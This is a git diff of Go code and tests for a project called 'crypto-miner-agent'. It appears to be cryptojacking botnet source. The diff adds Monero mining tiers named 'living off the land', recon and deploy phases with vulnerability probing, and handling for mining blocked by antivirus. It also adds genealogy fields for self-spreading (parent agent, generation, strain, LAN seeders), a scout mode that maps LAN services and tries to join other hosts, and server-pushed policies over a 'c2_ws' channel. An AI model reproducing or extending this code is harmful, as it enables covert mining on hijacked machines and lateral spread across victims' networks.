||||
Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
|
||||
Attempts: []miner.TierAttempt{
|
||||
{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
|
||||
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
|
||||
},
|
||||
Wallet: "XMR:test-wallet",
|
||||
}
|
||||
r.reportOnionEvent(report, "onion_report")
|
||||
|
||||
doc := onionPayloadShape(t, report, "onion_report")
|
||||
for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("onion payload missing key %q: %v", key, doc)
|
||||
}
|
||||
}
|
||||
if doc["event"] != "onion_report" {
|
||||
t.Fatalf("event=%v", doc["event"])
|
||||
}
|
||||
attempts, ok := doc["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
|
||||
}
|
||||
first, ok := attempts[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("attempt[0] type=%T", attempts[0])
|
||||
}
|
||||
if first["phase"] != string(miner.OnionPhaseRecon) {
|
||||
t.Fatalf("attempt phase=%v", first["phase"])
|
||||
}
|
||||
if first["wallet"] != "XMR:test-wallet" {
|
||||
t.Fatalf("attempt wallet=%v", first["wallet"])
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if len(st.LOTLAttempts) != 2 {
|
||||
t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
report := miner.TierReport{
|
||||
ActiveTier: miner.TierCPUInprocess,
|
||||
Attempts: []miner.TierAttempt{
|
||||
{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
|
||||
{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
|
||||
},
|
||||
WebGPUReady: true,
|
||||
}
|
||||
r.reportTierEvent(report, "tier_report")
|
||||
|
||||
doc := tierPayloadShape(t, report, "tier_report")
|
||||
for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("tier payload missing key %q: %v", key, doc)
|
||||
}
|
||||
}
|
||||
if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
|
||||
t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if st.LOTLTier != miner.TierCPUInprocess {
|
||||
t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
|
||||
}
|
||||
if len(st.LOTLAttempts) < 2 {
|
||||
t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
|
||||
}
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.mu.Lock()
|
||||
r.onionAttempts = []miner.TierAttempt{
|
||||
{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
|
||||
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
|
||||
}
|
||||
r.mu.Unlock()
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if len(st.LOTLAttempts) < 3 {
|
||||
t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
|
||||
}
|
||||
if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
|
||||
t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
|
||||
|
||||
func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MiningDisabled = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
||||
defer cancel()
|
||||
c.startMiningWhenReady(ctx)
|
||||
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainSkipsApkMode(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.ApkMode = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
||||
defer cancel()
|
||||
c.startMiningWhenReady(ctx)
|
||||
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── error paths: tier failure advances, exhausted chain ───────────────────
|
||||
|
||||
func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
containerCalls := 0
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartContainer: func() error {
|
||||
containerCalls++
|
||||
return errors.New("mock container start blocked by AV")
|
||||
},
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return false },
|
||||
})
|
||||
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
|
||||
|
||||
ctx := context.Background()
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
defer r.Stop()
|
||||
|
||||
if containerCalls == 0 {
|
||||
t.Fatal("expected container tier attempt before advance")
|
||||
}
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
|
||||
}
|
||||
if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
|
||||
t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
|
||||
setupFakeDockerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
c.tierPolicy = miner.MiningTierPolicy{
|
||||
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
||||
}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
|
||||
if r.Status().ActiveMethod != miner.MethodContainer {
|
||||
t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
|
||||
}
|
||||
if c.containerMiner != nil {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
t.Fatal("container should be stopped")
|
||||
}
|
||||
|
||||
r.ctrl.AdvancePrimary("container workload exited or unhealthy")
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
r.Stop()
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
return errors.New("mock in-process RandomX unavailable")
|
||||
},
|
||||
})
|
||||
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
|
||||
|
||||
ctx := context.Background()
|
||||
_, err := r.ctrl.TryChain(ctx)
|
||||
if err == nil {
|
||||
t.Fatal("expected TryChain error when all primaries fail")
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if !st.ChainExhausted {
|
||||
t.Fatal("expected chain_exhausted flag")
|
||||
}
|
||||
if st.ActiveMethod != "" {
|
||||
t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
|
||||
}
|
||||
if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
|
||||
t.Fatalf("failures=%v", st.FailedMethods)
|
||||
}
|
||||
}
|
||||
@@ -32,6 +32,8 @@ func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
|
||||
c.applySpreadPolicyJSON(resp.SpreadPolicy)
|
||||
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
@@ -47,6 +49,11 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
}
|
||||
if len(resp.SpreadTemperament) > 0 {
|
||||
c.mu.Lock()
|
||||
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
return
|
||||
}
|
||||
@@ -74,3 +81,24 @@ func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
|
||||
c.tierPolicy = p
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -31,8 +31,12 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
||||
|
||||
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
||||
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
if c.cfg.MiningDisabled || c.cfg.ApkMode {
|
||||
log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
log.Printf("[mining] skipped — seeder role serves LAN staging only")
|
||||
return
|
||||
}
|
||||
if c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||
log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
|
||||
return
|
||||
}
|
||||
const maxWait = 120 * time.Second
|
||||
|
||||
@@ -4,12 +4,13 @@ package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestWGSetupJSONReturnsError verifies that the non-Windows stub returns a
|
||||
// JSON error payload indicating WireGuard is not available on this platform.
|
||||
func TestWGSetupJSONReturnsError(t *testing.T) {
|
||||
func TestPathTracerStubWGSetupJSONReturnsError(t *testing.T) {
|
||||
raw := WGSetupJSON()
|
||||
if raw == "" {
|
||||
t.Fatal("WGSetupJSON returned empty string")
|
||||
@@ -34,7 +35,7 @@ func TestWGSetupJSONReturnsError(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestWGConfigureNoOp verifies that WGConfigure is a no-op on non-Windows.
|
||||
func TestWGConfigureNoOp(t *testing.T) {
|
||||
func TestPathTracerStubWGConfigureNoOp(t *testing.T) {
|
||||
payload := WGConfigPayload{
|
||||
SessionID: "test-session",
|
||||
PrivateKey: "privkey",
|
||||
@@ -56,22 +57,45 @@ func TestWGConfigureNoOp(t *testing.T) {
|
||||
}
|
||||
|
||||
// TestWGTeardownNoOp verifies WGTeardown does not panic or error on non-Windows.
|
||||
func TestWGTeardownNoOp(t *testing.T) {
|
||||
func TestPathTracerStubWGTeardownNoOp(t *testing.T) {
|
||||
// Should complete without panic.
|
||||
WGTeardown()
|
||||
}
|
||||
|
||||
// TestWGIsActiveReturnsFalse ensures the stub correctly reports inactive.
|
||||
func TestWGIsActiveReturnsFalse(t *testing.T) {
|
||||
func TestPathTracerStubWGIsActiveReturnsFalse(t *testing.T) {
|
||||
if WGIsActive() {
|
||||
t.Error("WGIsActive stub must return false on non-Windows")
|
||||
}
|
||||
}
|
||||
|
||||
// TestWGStatusNotSupported verifies the stub reports an unsupported-platform message.
|
||||
func TestWGStatusNotSupported(t *testing.T) {
|
||||
func TestPathTracerStubWGStatusNotSupported(t *testing.T) {
|
||||
status := WGStatus()
|
||||
if status == "" {
|
||||
t.Error("WGStatus stub must return a non-empty string")
|
||||
}
|
||||
if !strings.Contains(status, "not supported") {
|
||||
t.Errorf("WGStatus stub should mention unsupported platform, got %q", status)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWGSetupJSONExactStubError verifies the stub error string matches server expectations.
|
||||
func TestPathTracerStubWGSetupJSONExactError(t *testing.T) {
|
||||
raw := WGSetupJSON()
|
||||
if !strings.Contains(raw, "Windows-only") {
|
||||
t.Errorf("stub error should mention Windows-only, got %q", raw)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWGConfigureRejectsEmptyPayloadOnStub is a no-op but documents stub behaviour.
|
||||
func TestPathTracerStubWGConfigureAcceptsPayload(t *testing.T) {
|
||||
err := WGConfigure(WGConfigPayload{
|
||||
SessionID: "stub-session",
|
||||
LocalAddress: "10.66.0.2/24",
|
||||
ListenPort: 51820,
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("WGConfigure stub must be no-op, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
66
agent/client/pathtracer_windows_test.go
Normal file
66
agent/client/pathtracer_windows_test.go
Normal file
@@ -0,0 +1,66 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPathTracerWindowsBuildWGConfigDefaults(t *testing.T) {
|
||||
conf := buildWGConfig("privkeyB64=", WGConfigPayload{
|
||||
LocalAddress: "10.66.0.2/24",
|
||||
ListenPort: 0,
|
||||
Peers: []WGPeerEntry{{
|
||||
PublicKey: "peerPub=",
|
||||
Endpoint: "203.0.113.5:51820",
|
||||
}},
|
||||
})
|
||||
for _, want := range []string{
|
||||
"[Interface]",
|
||||
"PrivateKey = privkeyB64=",
|
||||
"Address = 10.66.0.2/24",
|
||||
"ListenPort = 51820",
|
||||
"[Peer]",
|
||||
"PublicKey = peerPub=",
|
||||
"Endpoint = 203.0.113.5:51820",
|
||||
"AllowedIPs = 0.0.0.0/0",
|
||||
"PersistentKeepalive = 25",
|
||||
} {
|
||||
if !strings.Contains(conf, want) {
|
||||
t.Errorf("config missing %q:\n%s", want, conf)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsGenerateWGKeyPairDistinct(t *testing.T) {
|
||||
priv1, pub1, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("generateWGKeyPair: %v", err)
|
||||
}
|
||||
priv2, pub2, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("generateWGKeyPair second call: %v", err)
|
||||
}
|
||||
if priv1 == "" || pub1 == "" {
|
||||
t.Fatal("expected non-empty keypair")
|
||||
}
|
||||
if priv1 == priv2 || pub1 == pub2 {
|
||||
t.Fatal("expected distinct keypairs across calls")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsWGIsActiveFalseWhenIdle(t *testing.T) {
|
||||
WGTeardown()
|
||||
if WGIsActive() {
|
||||
t.Fatal("WGIsActive should be false with no tunnel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerWindowsWGStatusNoTunnelWhenIdle(t *testing.T) {
|
||||
WGTeardown()
|
||||
status := WGStatus()
|
||||
if !strings.Contains(status, "no active tunnel") {
|
||||
t.Errorf("expected idle status, got %q", status)
|
||||
}
|
||||
}
|
||||
@@ -12,19 +12,21 @@ import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// FleetPolicyUpdate is pushed from the server without re-forge.
|
||||
type FleetPolicyUpdate struct {
|
||||
PushID string `json:"push_id,omitempty"`
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
PushID string `json:"push_id,omitempty"`
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
@@ -104,6 +106,22 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
if p.PoolPass != "" {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
applySpreadTemperament(cfg, p.SpreadTemperament)
|
||||
}
|
||||
|
||||
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
|
||||
return
|
||||
}
|
||||
if cfg.LotlPolicyFromServer || cfg.ScoutMode {
|
||||
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
|
||||
}
|
||||
}
|
||||
|
||||
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
|
||||
|
||||
@@ -52,6 +52,11 @@ type AuthPayload struct {
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
@@ -62,9 +67,14 @@ type AuthResponse struct {
|
||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
@@ -147,6 +157,14 @@ type StatsPayload struct {
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
|
||||
// Fleet role split telemetry (stats WS).
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
|
||||
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
|
||||
|
||||
@@ -59,6 +59,18 @@ func TestAuthPayloadPlatformFromEnv(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
||||
in := AuthPayload{
|
||||
AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
|
||||
SpreadStrain: "#aabbcc", JoinLane: "winrm",
|
||||
}
|
||||
var out AuthPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
|
||||
t.Fatalf("genealogy fields: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||
var out AuthResponse
|
||||
@@ -103,6 +115,18 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
|
||||
in := StatsPayload{
|
||||
Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
|
||||
ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
|
||||
}
|
||||
var out StatsPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
|
||||
t.Fatalf("genealogy stats: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareResultJSONRoundTrip(t *testing.T) {
|
||||
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
|
||||
var out ShareResult
|
||||
|
||||
74
agent/client/scout_mode.go
Normal file
74
agent/client/scout_mode.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const (
|
||||
scoutInitialDelay = 90 * time.Second
|
||||
scoutCycleInterval = 15 * time.Minute
|
||||
)
|
||||
|
||||
func (c *AgentClient) startScoutRoving() {
|
||||
go func() {
|
||||
time.Sleep(scoutInitialDelay)
|
||||
for {
|
||||
c.runScoutCycle()
|
||||
time.Sleep(scoutCycleInterval)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (c *AgentClient) runScoutCycle() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if !cfg.ScoutMode {
|
||||
return
|
||||
}
|
||||
|
||||
raw := deploy.RunServiceDiscover(32)
|
||||
result, err := deploy.ParseServiceDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
log.Printf("[scout] service_discover parse: %v", err)
|
||||
return
|
||||
}
|
||||
serviceCount := len(result.Local.Services)
|
||||
for _, h := range result.LANHosts {
|
||||
serviceCount += len(h.Services)
|
||||
}
|
||||
|
||||
lane := deploy.PickLocalJoinLane(raw)
|
||||
if lane == "" {
|
||||
if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
|
||||
lane = c.getJoinLane()
|
||||
log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
|
||||
} else {
|
||||
log.Printf("[scout] discover_and_join skipped: %v", derr)
|
||||
}
|
||||
} else {
|
||||
c.setJoinLane(lane)
|
||||
log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
|
||||
}
|
||||
|
||||
c.pushScoutReport(result, lane, serviceCount)
|
||||
}
|
||||
|
||||
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
"join_lane": joinLane,
|
||||
"service_count": serviceCount,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
|
||||
log.Printf("[scout] scout_report write: %v", err)
|
||||
}
|
||||
}
|
||||
34
agent/client/scout_mode_test.go
Normal file
34
agent/client/scout_mode_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowRemoteActionScoutModeBlocksStaging(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
||||
ok, reason := c.allowRemoteAction("stage_fetch")
|
||||
if ok {
|
||||
t.Fatal("scout should block stage_fetch")
|
||||
}
|
||||
if reason == "" {
|
||||
t.Fatal("expected reason for blocked stage_fetch")
|
||||
}
|
||||
ok, _ = c.allowRemoteAction("discover_and_join")
|
||||
if !ok {
|
||||
t.Fatal("scout should allow discover_and_join")
|
||||
}
|
||||
ok, _ = c.allowRemoteAction("service_discover")
|
||||
if !ok {
|
||||
t.Fatal("scout should allow service_discover")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowRemoteActionScoutBlocksSpreadNow(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
||||
ok, _ := c.allowRemoteAction("spread_now")
|
||||
if ok {
|
||||
t.Fatal("scout should block spread_now")
|
||||
}
|
||||
}
|
||||
23
agent/client/spread_policy_test.go
Normal file
23
agent/client/spread_policy_test.go
Normal file
@@ -0,0 +1,23 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestApplySpreadPolicyFromAuth(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"hashrate_gate_spread_min": 12,
|
||||
"hashrate_gate_hps": 250.5,
|
||||
})
|
||||
c.applySpreadPolicyJSON(raw)
|
||||
if c.cfg.HashrateGateSpreadMin != 12 {
|
||||
t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
|
||||
}
|
||||
if c.cfg.HashrateGateHPS != 250.5 {
|
||||
t.Fatalf("hps=%v", c.cfg.HashrateGateHPS)
|
||||
}
|
||||
}
|
||||
32
agent/client/stage_fetch_test.go
Normal file
32
agent/client/stage_fetch_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
